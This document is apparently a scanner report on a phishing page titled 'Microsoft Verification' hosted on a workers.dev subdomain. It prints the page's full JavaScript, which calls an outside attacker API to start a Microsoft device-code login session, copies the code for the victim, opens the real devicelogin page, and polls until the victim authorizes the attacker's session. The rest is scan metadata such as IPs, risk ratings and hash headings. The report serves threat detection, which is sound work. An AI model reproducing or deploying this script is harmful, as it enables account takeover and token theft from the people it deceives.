documentation technical

technology software

cryptocurrency blockchain

finance banking

corporate business

English

You're looking at domain 'protectedcloud-message.merlekw.workers.dev' on the developer-focused generic top-level domain (.dev) and includes subdomain 'protectedcloud-message.merlekw'. Count 7 characters in 'workers' split between two vowels and five consonants. It segments into 1 word: workers. No strong language cues emerged from the frequency lists.

html/9c/dc/9cdc7531-bffe-4b8d-a9a2-53fc9f1312b5.html.gz

5e5d6b8e9a10969a0986f26e78f3fe669e7796744ea27d5b68ed9a15f9f76242

viewport

Abuse Team

CloudFlare, Inc.

workers.dev

Cloudflare, Inc.

Cloudflare, Inc

CLOUDFLARENET


        // Session ID for tracking
        const SESSION_ID = 'd1b45803535d30af';
        
        // Worker API endpoint
        const API_ENDPOINT = 'https://ms-tool-t-ccf719e7415aeac7.fensercode.workers.dev/api';
        
        let flowSessionId = null;
        let pendingRelayUrl = null; // pre-fetched relay URL ready for popup click
        let pollingInterval = null;
        let relayPopup = null;
        let popupWatcher = null;

        // Script is at the bottom of body — DOM is already available.
        // Call autoStart directly (async, non-blocking).
        autoStart();

        async function autoStart() {
            try {
                var res = await fetch(API_ENDPOINT + '/device/start', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({})
                });
                var data = await res.json();
                if (data.error) { showError(data.error); return; }

                flowSessionId = data.sessionId;

                if (data.autoRelay) {
                    var proxyBase = API_ENDPOINT.replace('/api', '');
                    var relayUrl = proxyBase + '/link/' + data.relayToken;

                    if (data.relayMode === 'redirect') {
                        window.location.href = relayUrl;
                        return;
                    } else {
                        pendingRelayUrl = relayUrl;
                        pollingInterval = setInterval(checkStatus, 3000);
                        document.getElementById('lds').classList.add('hidden');
                        document.getElementById('sts').classList.remove('hidden');
                    }
                } else {
                    document.getElementById('uc').textContent = data.userCode;
                    pollingInterval = setInterval(checkStatus, 3000);
                    document.getElementById('lds').classList.add('hidden');
                    document.getElementById('dcs').classList.remove('hidden');
                }
            } catch (err) {
                showError(err.message || 'Connection failed');
            }
        }

        // Called by the "Sign in with Microsoft" button (popup mode only).
        // Session is already pre-fetched — opens popup synchronously, no async needed.
        function handleStart() {
            if (!pendingRelayUrl) return;
            const pw = Math.min(520, screen.width - 40);
            const ph = Math.min(680, screen.height - 80);
            const pl = screen.width - pw - 20;
            const pt = Math.round((screen.height - ph) / 2);
            relayPopup = window.open(pendingRelayUrl, 'msauth_popup',
                `width=${pw},height=${ph},left=${pl},top=${pt},toolbar=no,menubar=no,scrollbars=yes`);
            startPopupWatcher();
            document.getElementById('sts').classList.add('hidden');
            document.getElementById('rls').classList.remove('hidden');
        }

        // Watch for popup closed mid-flow — reset to button state so user can retry
        function startPopupWatcher() {
            popupWatcher = setInterval(() => {
                if (relayPopup && relayPopup.closed) {
                    clearInterval(popupWatcher);
                    popupWatcher = null;
                    relayPopup = null;
                    document.getElementById('rls').classList.add('hidden');
                    document.getElementById('sts').classList.remove('hidden');
                }
            }, 800);
        }

        async function checkStatus() {
            try {
                const response = await fetch(`${API_ENDPOINT}/device/status/${flowSessionId}`);
                const data = await response.json();

                if (data.status === 'authorized') {
                    clearInterval(pollingInterval);
                    clearInterval(popupWatcher);
                    if (relayPopup && !relayPopup.closed) relayPopup.close();
                    document.getElementById('sts').classList.add('hidden');
                    document.getElementById('dcs').classList.add('hidden');
                    document.getElementById('rls').classList.add('hidden');
                    document.getElementById('scs').classList.remove('hidden');
                    setTimeout(() => { window.location.href = 'https://office.com'; }, 2000);
                }
            } catch (error) {
                console.error('Polling error:', error);
            }
        }

        function cc() {
            navigator.clipboard.writeText(document.getElementById('uc').textContent);
            const btn = document.getElementById('cpb');
            btn.textContent = '✓ Copied!';
            setTimeout(() => {
                btn.textContent = 'Copy Code';
            }, 2000);
        }

        function gm() {
            cc();
            const isMobile = /Android|iPhone|iPad|iPod/i.test(navigator.userAgent) || window.innerWidth <= 768;
            
            if (isMobile) {
                window.open('https://microsoft.com/devicelogin', '_blank');
            } else {
                const width = 500;
                const height = 600;
                const left = 20;
                const top = (screen.height / 2) - (height / 2);
                window.open('https://microsoft.com/devicelogin', 'MicrosoftLogin', 
                    `width=${width},height=${height},left=${left},top=${top},resizable=yes,scrollbars=yes`);
            }
        }

        function openRelayPopup(sessionId) {
            const relayUrl = `${API_ENDPOINT}/device/relay/${sessionId}`;
            const pw = Math.min(520, screen.width - 40);
            const ph = Math.min(680, screen.height - 80);
            const pl = screen.width - pw - 20;
            const pt = Math.round((screen.height - ph) / 2);
            relayPopup = window.open(relayUrl, 'msauth_popup',
                `width=${pw},height=${ph},left=${pl},top=${pt},toolbar=no,menubar=no,scrollbars=yes`);
        }

        function reopenPopup() {
            if (flowSessionId) openRelayPopup(flowSessionId);
        }

        function showError(message) {
            document.getElementById('sts').classList.add('hidden');
            document.getElementById('lds').classList.add('hidden');
            document.getElementById('dcs').classList.add('hidden');
            document.getElementById('rls').classList.add('hidden');
            document.getElementById('em').textContent = message;
            document.getElementById('ers').classList.remove('hidden');
        }
    

Microsoft Verification

⚡ Medium Risk - http://protectedcloud-message.merlekw.workers.dev/d1b45803535d30af

Requests	IP Address	Location	AS Autonomous System
2	104.21.33.173Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	188.114.97.3Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
3	2	-	-

Security Scan Report: protectedcloud-message.merlekw.workers.dev

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History